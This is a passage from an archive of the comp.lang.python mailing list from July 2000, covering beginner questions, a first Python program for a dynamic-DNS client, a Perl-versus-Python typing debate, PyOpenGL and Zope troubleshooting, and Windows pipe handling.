> ---------------------------------------
> Fernando Rodr?guez

-- 

Site Gnome - site maintenance, documentation and proof reading

http://www.sitegnome.com


From johannes at zellner.org  Thu Jul  6 06:57:49 2000
From: johannes at zellner.org (Johannes Zellner)
Date: Thu, 6 Jul 2000 12:57:49 +0200 (CEST)
Subject: function arguments
Message-ID: <Pine.LNX.4.21.0007061257160.17492-100000@krispc6.physik.uni-karlsruhe.de>

Hello,

is there a way to get a functions argument list ?

e.g.

def fun(fred, lola):
    ...

something like `arglist(fun)' should return [ 'fred', 'lola' ]

-- 
   Johannes




From jtoy at tcgfinancial.com  Wed Jul 19 17:37:46 2000
From: jtoy at tcgfinancial.com (jtoy)
Date: Wed, 19 Jul 2000 17:37:46 -0400
Subject: critique my 1st program ever
Message-ID: <39761FAA.70E65704@tcgfinancial.com>

Hi, this is my first program I have ever written.  Please tell e what I
need to do to clean it up or make any other suggestions.  Thanks.
Also, could you answer a couple of question I have below.

# Written by Jason Toy(toyboy at toy.eyep.net)http://toy.eyep.net on 02:07
July 16, 2000 EST
#This program is an eyep client for any OS that has Python installed
import urllib, os, string

def parser(host, userdata):
  if userdata['ip'] =="":
    eyep =
'http://eyep.net/update.php/'+userdata['username']+'/'+userdata['password']+'/'+host

  else:
    eyep =
'http://eyep.net/update.php/'+userdata['username']+'/'+userdata['password']+'/'+host+'/'+userdata['ip']

  parsereturn = urllib.urlopen(eyep)
  if parsereturn.read() == "RETURN4":
    print host, "has been updated successfully"
  elif parsereturn.read() == "RETURN1":
    print "You are missing fields, request is probably misconfigured
for", host
  elif parsereturn.read() == "RETURN2":
    print "Bad username/password for", host
  elif parsereturn.read() == "RETURN3":
    print host, "isn't owned by you"
  elif parsereturn.read() == "RETURN5":
    print "Invalid IP address for", host
  elif parsereturn.read() == "RETURN6":
    print "Service is temporarily unavailable"
  else:
    print "Error message on", host, ":", parsereturn.read() ,"--Please
report to http://www.eyep.net for further information."

def readuserdata(aFileName):
  userdata = {}
  myfile = open(aFileName)
  for line in myfile.readlines():
    (item, value) = string.split(line, ':', 1)
    userdata[item] = string.strip(value)
  return userdata

def writeuserdata(aFileName, userdata):
  myfile = open(aFileName, 'w')
  for item in userdata.keys():
    myfile.write("%s:%s\n"% (item, userdata[item]))
  myfile.close()
userdata = {}
if os.access('userdata.dat', os.R_OK) == 0:
  userdata['username'] = raw_input("Enter your user name: ")
  userdata['password'] = raw_input("Enter your password: ")
  userdata['host1'] = raw_input("Enter you first hostname: ")
  userdata['host2'] = raw_input("Enter your second host(if you have only
1, press enter): ")
  if userdata['host2'] != "":
    userdata['host3'] = raw_input("Enter your third host(If you have
only 2, press enter): ")
  userdata['ip'] = raw_input("Enter your ip(press enter for
autodetection): ")

else:
  userdata = readuserdata('userdata.dat')
parser(userdata['host1'], userdata)
if userdata['host2'] !="":
  parser(userdata['host2'], userdata)
  if userdata['host3'] !="":
    parser(userdata['host3'], userdata)
else:
  print "Thank You"
if os.access('userdata.dat', os.R_OK) == 0:
  print "Saving your configuration........."
  writeuserdata('userdata.dat', userdata)

Can you tell me how I can make a python program find the IP address of
the local machine?  If possible, I would like to make this not matter
what OS its on( i want it to work on windows and Unix/Linux/BSD).
Second, can you tell me how I could run this program as a dameon, again
not OS dependent, because while I know you can put a Python script in
cron,  how can you do the same with windows?
Third, how can I make Python recognize what OS its on, that wat if I
can't do the above 2 questions withouot being OS dependent, then I will
do somethin like: if OS == x then do else OS == z do
Thanks for your time.

Jason Toy
toyboy at toy.eyep.net
http://toy.eyep.net



From jerry_spicklemire at my-deja.com  Mon Jul 24 11:14:26 2000
From: jerry_spicklemire at my-deja.com (jerry_spicklemire at my-deja.com)
Date: Mon, 24 Jul 2000 15:14:26 GMT
Subject: Open letter to Guido van Rossum
References: <200007240401.AAA07578@mail3.mia.bellsouth.net> <8lhij5$278$1@slb2.atl.mindspring.net>
Message-ID: <8lhmgd$p92$1@nnrp1.deja.com>

  "Arthur Siegel" wrote:
>
> Perhaps your shop, which sounds:
> a) substantial
> b) for profit
>
> consider doing what has traditionally been done when a technical
> solution requiring an impled or express warranty of fitness is
> necessary - arrange to engage an appopriate shop in that business
> to provide it.
>

This suggestion makes perfect sense, in cases where Python has
already been adopted by the substantial, for profit shop in question.
One could then assume that Python is recognized for it's merits, and
that the "customer" realizes that, as with any Open Source tools, it
is easy and effective to contribute by scratching your own itch, and
returning the resulting solution to the community.

However, I have no problem relating to the original "letter", since
I, like many Python fans, have faced resistance when attempting to
use Python and it's progeny (Zope), and to have them accepted in a
for profit setting.

Lack of clarity in the process of creating and evolving Open Source
is a grave cause of misunderstanding and an easy target for FUD
mongers. It may not be easy, or even likely , but it would certainly
help to move toward a development model that values coordination of
effort, and strives to foster cooperation wherever possible.

There is some good news, in the form of recently arisen examples such
as SourceForge, CoSource, etc. To me these represent one more step in
the many "new things under the sun" that have been sparked by the
IntraNet, and GNU. The need for straightforward mechanisms that support
Open Source, and make it easy for non-developers to see benefits from
participation, has begun to be filled.

Later,
Jerry S.


Sent via Deja.com http://www.deja.com/
Before you buy.


From dale at out-think.NOSPAMco.uk  Mon Jul  3 18:02:59 2000
From: dale at out-think.NOSPAMco.uk (Dale Strickland-Clark)
Date: Mon, 3 Jul 2000 23:02:59 +0100
Subject: Definative Documentation on Objects
References: <8jqui2$9na$1@supernews.com> <etdu2e7j58c.fsf@w20-575-34.mit.edu>
Message-ID: <8jr2iv$cn2$1@supernews.com>

Now why didn't I find that! I've been looking all over the place and it was
right under my nose.

Thanks for the reply!

--
Dale Strickland-Clark
Out-Think Ltd, UK
Business Technology Consultants

Alex <cut_me_out at hotmail.com> wrote in message
news:etdu2e7j58c.fsf at w20-575-34.mit.edu...
>
> Perhaps the tutorial?
>
> http://www.python.org/doc/tut/node11.html
>
> It all depends on what a definitive statement would be, I guess.
>
> Alex.




From paul at prescod.net  Sun Jul  2 17:08:06 2000
From: paul at prescod.net (Paul Prescod)
Date: Sun, 02 Jul 2000 16:08:06 -0500
Subject: Class vrs. function
References: <395E2425.8F6F8757@uniserve.com> <395E4281.452C26DE@prescod.net> <395EAF62.4A628573@uniserve.com>
Message-ID: <395FAF36.5EE57FBC@prescod.net>

Bob van der Poel wrote:
> 
>...
> 
> Yes, that I understand. In some of the example code I've seen there is
> only the __init__ function and no data. That's why it doesn't make sense
> to me. Maybe I'm just having a bad day.....

Is this code public? It doesn't seem particularly useful for all of us
to just guess why they MIGHT have done it that way.

-- 
 Paul Prescod - Not encumbered by corporate consensus
The calculus and the rich body of mathematical analysis to which it 
gave rise made modern science possible, but it was the algorithm that 
made the modern world possible.
	- The Advent of the Algorithm (pending), by David Berlinski



From mwh21 at cam.ac.uk  Thu Jul 27 03:24:06 2000
From: mwh21 at cam.ac.uk (Michael Hudson)
Date: 27 Jul 2000 08:24:06 +0100
Subject: Operators for everything (was Re: Operators for matrix)
References: <m3em4ld5t3.fsf@atrus.jesus.cam.ac.uk> <memo.20000724210456.47597A@digitig.compulink.co.uk> <397CB3EA.15F5514F@prescod.net> <200007250053.RAA03842@rocket.knowledgetrack.com> <397CFDAC.38A22DAF@prescod.net> <slrn8nschv.1bud.cjc26@synecdoche.sowrong.org> <397FAE70.67357E5C@see.my.signature>
Message-ID: <m3aef4ave1.fsf@atrus.jesus.cam.ac.uk>

Greg Ewing <to_get_my_address at see.my.signature> writes:

[snip smalltalk inspired ideas]
> However, I don't think that any of this sort of thing 
> is going to satisfy the mathematicians. Infix operators
> work not only because they are infix, but because they
> are extremely compact, allowing very complicated
> formulas to be expressed concisely yet readably.

But this is the problem! (as I see it)

If I see

A @mmul B

(or "A mmul: B" or "A :mmul B" (which I think is my favourite yet))
then I can have an informed guess at what is going on, but if I see

A %*!? B

I've got no f**king clue!

[schnipp]
> I think we're just going to have to wait for Unicode
> before we can solve this in a really satisfactory way,
> folks.

Nah, not even then, I suspect.

Cheers,
M.
(who really really doesn't want to go to work today!)

-- 
  If I had wanted your website to make noise I would have licked 
  my finger and rubbed it across the monitor.
                           -- signature of "istartedi" on slashdot.org


From moshez at math.huji.ac.il  Mon Jul 31 03:58:25 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Mon, 31 Jul 2000 10:58:25 +0300 (IDT)
Subject: How does Python compare to ?
In-Reply-To: <2BC506F412001015.A448199B4E14D358.B1243148487C59CB@lp.airnews.net>
Message-ID: <Pine.GSO.4.10.10007311048410.10092-100000@sundial>

[Moshe]
> Why use CGI? Its time is long past.

[Cameron Laird]
> CGI isn't modern, but it's going to be in use for a looooong
> time, I claim.

Of course -- heck, even I use CGI for most of my web solutions. The thing
is, I'm not (currently) a web developer -- so when I have a problem to
solve, the most important thing for me is how long it takes to set up
the solution. For that, CGI rocks. However, as soon as you care about
either performance or about program scalability (IOW, once it's beyond
a form-to-send-mail and its ilk) (and if you don't, then the only
difference between Java servlets, PHP-plugin and Python CGI is the
syntax), the CGI is the most horrible solution available. 

CGI requires always a process startup and usually interpreter (be it 
Tcl, Guile, Perl or Python) startup. That makes it unacceptable if there
are more then 2 hits/second.
--
Moshe Zadka <moshez at math.huji.ac.il>
There is no IGLU cabal.
http://advogato.org/person/moshez




From billtut at microsoft.com  Wed Jul  5 18:13:46 2000
From: billtut at microsoft.com (Bill Tutt)
Date: Wed, 5 Jul 2000 15:13:46 -0700 
Subject: MAPI/COM: where is the server?
Message-ID: <4D0A23B3F74DD111ACCD00805F31D8101D8BD26F@RED-MSG-50>

Its talking to the local MAPI COM object that talks to the Exchange MAPI
provider which uses whatever method it wants to communicate with the
Exchange server. I believe it uses Win32 RPC.

Cute diagram:
+---------------------+
|  MAPI.Session       |
|  COM Object         |
+---------------------+
|  Core MAPI          |
|     Code            |
+---------------------+  
|  Exchange MAPI      |
|     Provider        |
+---------------------+
|  Win32/DCE RPC      |
+---------------------+
|  Network            |
+---------------------+
|  Exchange Server    |
+---------------------+

Bill

 -----Original Message-----
From: 	ge at nowhere.none [mailto:ge at nowhere.none] 
Sent:	Wednesday, July 05, 2000 3:05 PM
To:	python-list at python.org
Subject:	MAPI/COM: where is the server?

My MAPI/COM e-mail fetcher (running under win95) does this:

    self.session = win32com.client.Dispatch("MAPI.Session")
    self.session.Logon("MS Eschange Settings")

    [message fetching code left as an exercise for the reader]

This was all developed without any basic understanding of DCOM
or MAPI by copying other people's examples and semi-random
trial-and-error.

Question: Is it talking to Exchange server (which runs on a
          remote machine), or is it talking to a local copy of
          MS Outlook which is then acting as an intermediary?

If it's talking directly to Exchange server, then there's a
possibility I could do the same thing from Linux using either
Software AG's product or GCOM.

If my program is just talking to the local copy of MS Outlook,
then running the program under Linux isn't very useful, since I
still have to run that win95 machine that's sitting over in the
corner.

-- 
Grant Edwards                   grante             Yow!  I have the power
                                  at               to HALT PRODUCTION on all
                               visi.com            TEENAGE SEX COMEDIES!!
-- 
http://www.python.org/mailman/listinfo/python-list



From dgoodger at bigfoot.com  Tue Jul 11 00:12:20 2000
From: dgoodger at bigfoot.com (David Goodger)
Date: Tue, 11 Jul 2000 00:12:20 -0400
Subject: Language Challenge -- Results
In-Reply-To: <396A493A.DE1DF77B@sdynamix.com>
References: <396A493A.DE1DF77B@sdynamix.com>
Message-ID: <B59016E2.6043%dgoodger@bigfoot.com>

on 2000-07-10 18:07, bv (bvoh at sdynamix.com) wrote:
> Language Challenge 2000 -- Results

On viewing the results table, we note that there was exactly one entry under
Assembler, and five under Fortran (including -- hold onto your hats -- the
winner!). None in any other language (including Python). A wry quip precedes
the table:

    We didn't think it was possible to silence the language warriors,
    however, the emptiness in the table suggests just that. What can
    be inferred from this deafening silence...? ... is the necessary
    know-how confined only to those who practice the language
    perceived by some as pass??

    This was an opportunity to show your prowess, not with rhetoric
    but with deeds -- code solving a real life problem -- yet you came
    up empty.

Let's look at the prizes:

    Compaq Visual Fortran V6.1 Professional Edition
        - Provided courtesy of Compaq
    SDX Modeling and Simulation Software V3.0

The SDX offering may be a wonderful product; I don't know. But the Visual
Fortran would be a waste of shelf space to most Pythonistas, I believe.

> We'd like to particularly encourage a visit by the younger generation
> which probably never even saw a code without trailing semicolons

I know of a language that does very well without a lot more line noise than
just trailing semicolons. Anyone care to hazard a guess? ;-}

> To view the contest summary please click on the "Language Challenge
> 2000" on http://sdynamix.com

But seriously (my comments above were in good fun, I assure you, no harm
intended), I read this newsgroup regularly and I never saw mention of the
Language Challenge 2000. Did I miss it? Perhaps the audience determined the
outcome?

Ah, fond memories of my college Fortran course... Thank Guido for Python!

-- 
David Goodger    dgoodger at bigfoot.com    Open-source projects:
 - The Go Tools Project: http://gotools.sourceforge.net
 (more to come!)



From fig at oreilly.com.bbs  Mon Jul 17 15:50:04 2000
From: fig at oreilly.com.bbs (fig at oreilly.com.bbs)
Date: 17 Jul 2000 19:50:04 GMT
Subject: Newbie question: PyOpenGL installation
Message-ID: <3bRNNT$lvY@openbazaar.net>

Installing PyOpenGL on Linux is not easy right now.  I managed to do it,
but had to alter some of the source.  I was about to write up how I did
it when I found Robin Humble had done the same thing, and posted it to
the PyOpenGL egroup:

  http://wxwindows.org/pipermail/wxpython-users/2000-April/001922.html

Here is the text of his post:
=====================================================================
Hi,
First post...
These are the steps I went through to get pyOpenGL from CVS (May30)
working with RedHat 6.2. I think it'd be similar for RH6.1.
Some of these changes should probably go into CVS...

* install python-numpy-15.3-1.i386.rpm from
  http://download.sourceforge.net/numpy/python-numpy-15.3-1.i386.rpm

* grab pyOpenGL from CVS using the instructions on
  http://www.pythonpros.com/cvs.html

* edit Setup.in to be all -lGL -lGLU (not MesaGL) and to be link
  paths of -L/usr/X11R6/bin
  - this'd be fine as a spec file patch... don't worry about CVS

* edit src/Togl-1.5/togl.c at ~line 127 to add a 8.0.5 version choice
  which is the same as the 8.0.4 version
  - probably should be in CVS as it appears to work with tk/tcl 8.0.5

* run python BUILD.py
* run python install.py -v

* edit /usr/lib/tk8.0/Togl/pkgIndex.tcl to be .so not .dll
  - there should be an OS dependant 'pkgIndex.tcl' in the support/
    directory that 'install.py' chooses depending upon whether you're
    running Unix or Windows. Obviously .dll makes no sense under
    Unix/Linux.

* move /usr/lib/tk8.0/Togl/togl.so to be Togl.so
  - maybe if I knew what the syntax of the 'pkgIndex.tcl' file was then
    this wouldn't be necessary as 'togl.so' should be ok? Not sure...

I also have most of the demos from www.python.de working if anyone is
interested. The RawOpengl one being the exception.
I couldn't find any sensible demos from the cvs version of pyOpenGL.
Maybe I don't know the right place to look?

Please let me know if you'd like patches for any of these things and
I'll do my best to help. If the CVS gets updated then I'm happy to
contribute a .spec file and create a source and binary i386 rpm (and a
download site) if anyone is interested. Possibly also an Alpha/Linux
binary rpm.

I'm impressed by the speed and simplicity of pyOpenGL so far! About
100k+ points per frame animating smoothly and happily (software only
Mesa with Athlon700/K7V/G400Max)...
Well done!! :)

cheers,
robin
--
 Robin Humble      /        http://www.cita.utoronto.ca/~rjh/
=====================================================================

Since reading this, I found another person who says they solved some of
the
MesaGL library problems by installing the Mesa 3.0 RPM from Robin Dunn's
wxPython site:

  http://alldunn.com/wxPython/dist/others/


Best of luck!

Stephen


From m.faassen at vet.uu.nl  Thu Jul 27 16:24:38 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 27 Jul 2000 20:24:38 GMT
Subject: Perl is worse!
References: <8losor$4bk$1@nnrp1.deja.com> <slrn8o0n0b.qhk.grey@teleute.rpglink.com> <8lpt57$hsu$2@newshost.accu.uu.nl> <slrn8o10ko.rt1.grey@teleute.rpglink.com>
Message-ID: <8lq5q6$fn4$1@newshost.accu.uu.nl>

Steve Lamb <grey at despair.rpglink.com> wrote:
> On 27 Jul 2000 17:56:55 GMT, Martijn Faassen <m.faassen at vet.uu.nl> wrote:
>>Hmm. You seem to expect that strings and other things will be automatically
>>coerced to integers whenever a function expects an integer. I think that's
>>pretty scary; when I pass in the wrong thing to a function I *want* it to
>>complain, as it's very likely I did it by accident. 

>     The problem there is you're thinking in terms of separate data types.  I
> prefer the freedom of thinking in /DATA/.  Not types, just data.  1.  Is that
> a string?  Is it an integer?  Is it a floating point number?  Yes, it is all
> three.

In the end if you want to add your data together, you need to know what
the result will be. If you want to substract your data, you also need
to know. What if your data is "foo" and you add them together? What if
the user gave some input and you don't *know* what the user entered?

I think in your case you usually need to remember what type your data
is *anyway*, and what's worse you need to know what will happen to your
data for various cases:

"1" + "2" (3 or "3") 
"2" + 2  # 4 I presume (or "4")
"foo" + "bar" # ? (I tried; it gives you 0)
"foo" + "3" # ? (gives you 3..)

This may become quite unobvious in various cases, and may happen by
accident, right?

Though I understand the case for genericity, I don't really see it here.
 
[snip]
>>I don't want things to work by accident. Perhaps you're missing that this
>>'problem' is also a 'feature'; you get less 'weird' bugs due to the fact that
>>your program keeps running long after your data got coerce-mangled to death.
>>Python would tend to throw exceptions as soon as it went wrong.

>     I've never gotten 'weird' bugs from Perl taking the data type from the
> context of the operation at hand.  Not even in my early days of Perl.  I won't
> say there weren't got'chas that got me, but it was quite liberating not having
> to worry about thinking in terms of how the computer sees the data and,
> instead, having the computer see the data as /I/ see it.  

But what if that makes no sense? What if I entered 'foo' in the config
file where I needed to enter a number? Won't you get a weird bug now?

>     Furthermore, I have already gotten my first 'wierd' Python bug and it is
> wierder, by far, than anything I hit in Perl.  Even when I was debugging the
> code (love the debugger!) I couldn't understand what was going on.  What's
> more, in the context of the script, it shouldn't have happened.

> def foo():
>   print "foo"
> foo

This script won't do anything.

>>>> def foo():
> ...   print "foo"
> ... 
>>>> foo
>>>> <function foo at 806ef00>

>     Sure, works nice in interactive mode.  You'd think when I left that in my
> script that Python would have tossed it's cookies.

I can see where this could be confusing, but your 'foo' there is just like
saying:

2

or 

"foo"

That won't do anything either. 'foo' is a function object.

I imagine the reason Python doesn't complain here is that it can treat
expressions as statements, and that sometimes this makes sense, such
as when there's a function call:

foo() # is an expression too

> No.  All I saw was a
> statement the parser took and the debugger was showing no call being made even
> when stepping through the code.

That's because nothing's being called, right? The expression is being
evaluated. Interactive mode gives you the string representation of the
result of the expression, but running a script won't.

>  Newbie mistake, sure, but certainly one of
> those that if we want to be strict about what goes where should have been
> caught.

I'm not claiming we want to be strict about things at all times. If
I thought that I wouldn't be using Python. I was claiming that 'guessing'
what a line of code is supposed to mean can be bad. I mean, really:

"foo1" + 1 # 1
"1foo" + 1 # 2
"1" + 1 # 2
" 1" + 1 # 2
"\n1" + 1 # 2
"1*2" + 1 # 2

Are you sure this never gives you any odd output?

>>So perhaps you're missing the important tradeoff here.

>     What, strict checking versus TMTOWTDI?

No, giving up in the face of ambiguity versus guessing. Ambiguity tends
to arise when I'm doing something wrong; if I did it right it wouldn't
be ambiguous code. Besides, I wouldn't want to read such code even
if it did the right thing; confusing.

In Python there are tons of ways to do it too. :)

>  If we're going to have the strict
> checking why, then, don't we have typing up front instead of the half-typing
> we have now?

Because I wasn't arguing for 'strict checking'; I was arguing not checking
until the *last moment*, and if that makes no sense, give up.
(unless you catch the exception, of course)

>  Python gets the initial type from context but won't switch types
> based on context?  Might as well force people back into declaring variables
> in certain types since that is implicitly what we have now.

Not in OO code:

class Foo:
    def doit(self):
        print "foo"

class Bar:
    def doit(self):
        print "bar"

foo = Foo(); bar = Bar()
foo.doit()
bar.doit()

That works, as the check at the last moment could figure it out; there was
such a method, so it executes it. Now if 'doit()' was absent and the system
started guessing, we'd be in trouble, right?

Also not in generic code:

def add(a, b):
    return a + b

Works for integers as well as for strings. Unless you pass in a string
and an integer. If you wanted to support that, you need to tell it
explicitly:

def add(a, b):
    return int(a) + int(b)

Though this does something else in case two strings are passed in. I'd make
the conversion to integers the responsibility of the caller, myself.

Also not even between numbers:

1 + 1.0
1L + 1
1.0 + 1L

>>All right, for this particular case I suppose one could get used to
>>this kind of coercing. But in general? I'd need to *remember* it all,
>>right?

>     Nope.  You stuff a number into a scaler it is a number but can be used as
> a string.

So I don't need to know about what happens when I do "1foo" + 1?
Or "foo1" + 1? Or "foo1" - 1? Presumably I'd need to check my user
input *anyway*, right?

>  Not that hard to remember.  Much easier, in fact, that having to
> remember to declare everything from the onset or declare it each time you
> need to use it in a particular context much less having to put in checks
> in case you're trying to declare something into something which it cannot
> be morphed into.

But in Python you don't need to declare at all. You just need to explicitly
say sometimes you want something changed into something else. If you
want an integer, change your string into an integer. Do it early on if
you don't want to do it everywhere and work with integers from then on.

>     Simply stated, main reason I don't do C, don't do Java, and dropped Pascal
> so long ago, the frustration of not being able to take data of one "type" and
> use it in a different context without jumping through 20 different loops
> depending on the particular case.  To me it isn't char, int, longint, unsigned
> or signed, strings or whatever, it is data.  Lists and hashes (and in Python,
> tuples) are just structures of data.  What "type" that data is is completely
> subjective and based on the context of the operation.  To me, a language that
> understands that has the feature, not the language that refuses to.

The funny thing is that in Python this happens, and I'd agree with you,
but it tends to happen more often for class instances, not so much
for built-in primitives. Instances don't have a type, and they continue
working as long as they support the operations called on them. The thing
is, they don't by default support all operations, and if an operation
is not supported, Python stops. For built-in types such as integers
and strings, Python does not support the operation of adding them
together (but it could, you could make a class for this; though it'd
be a pain and overkill in this case).

We aren't so far apart in that sense; we just disagree about how many
operations the basic datatypes should support. I personally never had
trouble with having to call int() excessively, for instance. If you
find you're doing that a lot in your code, something may be odd about the
design of your code.

Note that Python does do this type of automatic conversion in some cases.
'print' can for instance print just about anything.

Note also that in your case, the only thing you're complaining about is
that Python treats numbers and strings differently; Python doesn't care much
whether your number is an integer or a float or a long integer, for instance.
It doesn't distinguish between characters and strings either. The only
addition to your type pantheon would seem to be the string/number
dichotomy and the list/tuple dichotomy, nothing else. :)

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From paul at prescod.net  Tue Jul 18 00:15:23 2000
From: paul at prescod.net (Paul Prescod)
Date: Mon, 17 Jul 2000 23:15:23 -0500
Subject: Wherefore art thou, 1.6?
References: <3973D0A1.5E1289D9@concentric.net>
Message-ID: <3973D9DB.9E141287@prescod.net>

Manus Hand wrote:
> 
> ...
> 
> Can someone please post a status on 1.6?

Here's part of the story:

http://www.pythonlabs.com/news_sitelaunch.html

And the next part:

http://www.pythonlabs.com/tech/python2.html

And some more:

http://www.python.org/pipermail/python-dev/2000-July/011960.html
http://www.python.org/pipermail/python-dev/2000-July/012574.html

No news since.

-- 
 Paul Prescod - Not encumbered by corporate consensus
Just how compassionate can a Republican get before he has to leave the 
GOP and join Vegans for Global Justice? ... One moment, George W. Bush
is holding a get-to-know-you meeting with a bunch of gay Republicans.
The next he is holding forth on education or the environment ... It is
enough to make a red-blooded conservative choke on his spotted-owl
drumstick.     - April 29th, Economist



From thomas_s at ebox.tninet.se  Sun Jul  9 15:52:55 2000
From: thomas_s at ebox.tninet.se (Thomas Svensson)
Date: Sun, 09 Jul 2000 20:52:55 +0100
Subject: Static member variables
Message-ID: <8kahdq$5e2$1@zingo.tninet.se>

Hello,

Is there a way of declaring static (and constant) member variables in
classes? I have a member variable that should be unique for each class
type and thus should not waste memory for each instance of the class I
create. Something like the __doc__ string I guess.

Can this be done?


Thanks,
Thomas



From bjrubble at shell16.ba.best.com  Fri Jul  7 20:03:42 2000
From: bjrubble at shell16.ba.best.com (Adam Clark)
Date: 8 Jul 2000 00:03:42 GMT
Subject: Help! Indenting craziness!
References: <8k5pev$182l$1@nntp1.ba.best.com>
Message-ID: <8k5r4u$182l$2@nntp1.ba.best.com>

Let me retract the "blank, unindented lines" part before somebody flames
me.  I realize now that this is a python-mode issue, probably due to a
space/tab mixup.  Problem is, everything appears to be tabs.  There is
no detectable difference either visually or by cursor navigation between
correct code and SyntaxError-generating code.

So, that said, help!!

Adam

Adam Clark <bjrubble at shell16.ba.best.com> wrote:
> Hi all,

> Does anybody have a technique for avoiding syntax errors due to blank,
> unindented lines?  I'm getting these on a regular basis, and I haven't
> figured out any reliable way to fix them.  Sometimes if I take every line
> in the vicinity, backspace it to the end of the previous line, and 
> reposition it, the errors go away.  But often they don't, and I end up
> just deleting chunks and rewriting them until Python stops complaining.

> This is with Emacs and python-mode.

> Thanks
> Adam


From db3l at fitlinxx.com  Tue Jul 18 19:46:23 2000
From: db3l at fitlinxx.com (David Bolen)
Date: 18 Jul 2000 19:46:23 -0400
Subject: Python 2.0 - win32pipe routines inclusion for Windows
Message-ID: <u66q3ovcg.fsf@ctwd0143.fitlinxx.com>

I've noticed that the latest sources for Python 2.0 in CVS have
included the win32pipe code from the PythonWin extensions as a
replacement for the prior os.pipe() routine in Python 1.5.2.  One
consequence of this is that you no longer receive process exit codes
on the pipe.close() operation.  Since I need the result codes in my
work, and work under Windows NT primarily, I figured I'd try to do
something about it.

I've created a small patch to the latest posixmodule.c in CVS that
uses an internal dictionary to maintain a mapping between created
pipes and child processes so it can retrieve the exit code, and was
wondering if this is something that should just be submitted to the
SourceForge patch manager or if there is any other process for Python
2.0 (this is my first non-R/O poke at the sources).

While munging around in the source it also appears that there seems to
be a mismatch between the ordering of file handles returned by the
higher order popen# routines in the internal posixmodule (the
win32pipe routines) versus the current popen2.py library module.  I
think I saw a discussion about this in the python-dev archives, but it
wasn't clear if the two should be consistent at this point in the
repository.

Thanks.

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/


From neilh at scintilla.org.bbs  Mon Jul 17 05:40:05 2000
From: neilh at scintilla.org.bbs (neilh at scintilla.org.bbs)
Date: 17 Jul 2000 09:40:05 GMT
Subject: Pythonwin 132: Letters with Umlaut cause problems
Message-ID: <3bR7T5$kCB@openbazaar.net>

> working with the new Build 132 of Pythonwin we have a minor problem.
> German Umlauts are not handled properly in the editor windows.
> They are shown as boxes, some of them seem to be dead keys.
>
> The problem did not exist in previous builds.
> Does anyone have a hint ?

   132 defaults to using Unicode for editing Python source code and the
interactive window. To stop this, open Pythonwin\pywin\scintilla\view.py,
find the OnInitialUpdate method and comment out the two lines under "#
Enable Unicode if we can". Save the file, shut down Pythonwin and restart it
and see if this fixes the problem.

   Yes, there should be an option to control this.

   Neil


From mpetroni at my-deja.com  Sat Jul 22 18:23:16 2000
From: mpetroni at my-deja.com (mpetroni at my-deja.com)
Date: Sat, 22 Jul 2000 22:23:16 GMT
Subject: Cannot create objects in Zope 2.2.0
Message-ID: <8ld6sb$qg5$1@nnrp1.deja.com>

I've just downloaded Zope 2.2.0 for win32 and installed it.

Ir runs with administrator privileges, but when I try to create any
objects I get the following message:

-----------------
Zope Error

           Zope has encountered an error while publishing this resource.

           Error Type: SuperCannotOwn
           Error Value: Objects cannot be owned by the superuser



           Troubleshooting Suggestions

                The URL may be incorrect.
                The parameters passed to this resource may be incorrect.
                A resource that this resource relies on may be
encountering an error.

           For more detailed information about the error, please refer
to the HTML source for this page.

           If the error persists please contact the site maintainer.
Thank you for your patience.




Traceback (innermost last):
  File C:\Servers\Zope\lib\python\ZPublisher\Publish.py, line 222, in
publish_module
  File C:\Servers\Zope\lib\python\ZPublisher\Publish.py, line 187, in
publish
  File C:\Servers\Zope\lib\python\Zope\__init__.py, line 221, in
zpublisher_exception_hook
  File C:\Servers\Zope\lib\python\ZPublisher\Publish.py, line 171, in
publish
  File C:\Servers\Zope\lib\python\ZPublisher\mapply.py, line 160, in
mapply
    (Object: manage_addFolder)
  File C:\Servers\Zope\lib\python\ZPublisher\Publish.py, line 112, in
call_object
    (Object: manage_addFolder)
  File C:\Servers\Zope\lib\python\OFS\Folder.py, line 116, in
manage_addFolder
  File C:\Servers\Zope\lib\python\OFS\ObjectManager.py, line 249, in
_setObject
    (Object: ApplicationDefaultPermissions)
  File C:\Servers\Zope\lib\python\AccessControl\Owned.py, line 271, in
manage_fixupOwnershipAfterAdd
    (Object: ElementWithAttributes)
SuperCannotOwn: (see above)
------------------

Any Ideas?

Thanx!


Sent via Deja.com http://www.deja.com/
Before you buy.


From db3l at fitlinxx.com  Thu Jul 20 19:35:18 2000
From: db3l at fitlinxx.com (David Bolen)
Date: 20 Jul 2000 19:35:18 -0400
Subject: Closing a file
References: <8l7lm7$kkb$1@news6.svr.pol.co.uk> <pLKd5.4730$FA2.524729@nnrp3.clara.net> <8l7vlm$r63$1@news6.svr.pol.co.uk>
Message-ID: <uya2wcr49.fsf@ctwd0143.fitlinxx.com>

"Duncan Smith" <buzzard at urubu.freeserve.co.uk> writes:

> I am using PythonWin.  I do try to close the file with outputfile.close()
> after the second 'if'.  I don't understand why it apparently doesn't work.
> ie. I want to open a file and write to it on the first iteration (which it
> does), write to it on subsequent iterations (which it does), and close it
> after a certain number of iterations (which it doesn't).  Thanks for your
> help, but I'm afraid I'm still stuck.

It might help to see a little more of the application, because I'm not
sure the excerpt you included can even execute your close operation
without raising a NameError.  So if you aren't getting the exception,
then perhaps that portion of the code isn't even running when you
think it is?

If you look at your function definition (I'm assuming it's a method of
some class you didn't include in your post), you have the following:

    def acceptsim(self, cost, n):
        t = 10000.0 / n
        if self.cost == 0:
            outputfile = open('simresults.txt', 'w')
            sys.stdout = outputfile
            self.cost = DJT.totalcost(self)
            self.low_cost = self.cost
            self.low_ordering = self.ordering[:]
        if n > 900000:
            outputfile.close()
            return 'stop'

        (...)

Now, here's one problem - your use of outputfile makes it a local
variable to the acceptsim method.  It's not an instance variable, so
it won't be preserved from method invocation to method invocation.

So unless you execute this function where both self.cost==0 and
n>900000, your use of outputfile.close() will refer to outputfile when
it doesn't exist (never having been assigned to reference anything).
That doesn't affect the other output of the function since you also
assign the reference to the file to sys.stdout which is preserved
across calls to your method.

As to why the file still appears to be opened/locked from other
applications, the prior response about sys.stdout still referencing
the file is a good possibility, especially given that it doesn't
appear likely that your outputfile.close() is executing and/or even if
